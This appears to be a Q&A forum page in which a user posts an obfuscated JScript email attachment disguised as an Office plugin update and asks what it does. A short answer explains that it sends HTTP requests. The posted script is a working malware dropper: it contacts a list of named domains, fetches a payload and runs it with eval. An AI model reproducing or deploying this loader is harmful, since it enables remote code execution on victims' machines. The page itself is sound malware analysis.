1

Got this interesting bit of code compressed in an email named "Install-MSOffice365-WebView-Plugin-Update-0.165.11a.exe.js" that is undoubtedly malicous, but was curious what it does and am not much of a Javascript coder.

function abatae(beeraa) {beeraa.send();}
function greezno() {return 'COUNQWTER'.replace(/QW/g,"");}
function hust(rasp){eval(rasp);}
var x = ["gunbobinaj.com","www.apbfoundation.com","blog.enertres.com","kimyaalemi.com","alto-krvavica.hr"];
var mink = 0;
var mumik = new Array('GE'+'T');
var mustafa = x.length;
while(true)
{
    if(mink>=mustafa)
    {
        break;
    }
    try
    {       
        var lumin = new ActiveXObject("MSXML2.XMLHTTP");
        var zemk = '00000012Qi9ag1Lxi5WL5GYeqMUKg4dxY3wxqiSvY5p7zea6RhRlNYyPH5MZDQTqCM-SWpbTQcFystPcok-Ndq9EPbeFOaoUCWQf9OpN1waFD0-V9ZIty6Lgyw_hRmV0Cj0dW7c1yX1IRnw0';
        var ghyt = false;
        var gerlk = x[mink];        
        lumin.open(mumik[2-2], "http://"+gerlk+'/'+greezno()+'?'+zemk, ghyt);
        abatae(lumin);
        var gt = lumin.responseText;
        var miffka = gt.indexOf(zemk);
        var pista = gt.length;
        var miluoki = "a";
        if ((pista+0) > (8+1+1) * 100 && 2 == 2 && miffka + 2 > 1) 
        {
            var kichman = rizma(gt, zemk).join(miluoki+"");
            hust(kichman);
            break;
        }
    }
    catch(e)
    {
    };
    mink++;
};
function malysh() {return "htRESMtp".replace(/RESM/g,"");}
function rizma(kjg, lki) {  return kjg.split(lki);}
1

https://msdn.microsoft.com/en-us/library/ms759148(v=vs.85).aspx

The following Microsoft® JScript® example creates an XMLHTTP object and asks a server for an XML document. The server sends back an XML document, which is then displayed in a message box.
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.6.0");  
xmlHttpReq.open("GET", "http://localhost/books.xml", false);  
xmlHttpReq.send();  
WScript.Echo(xmlHttpReq.responseText);  

As the example shows this sends a request

@ lumin.open () combining x[0]+gerlk+greezno()+zemk

Which will evaluate to http://gumboxxxxx/counter?0000yyyyyyyyyyyyyy

Gets an xml response and parses it

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.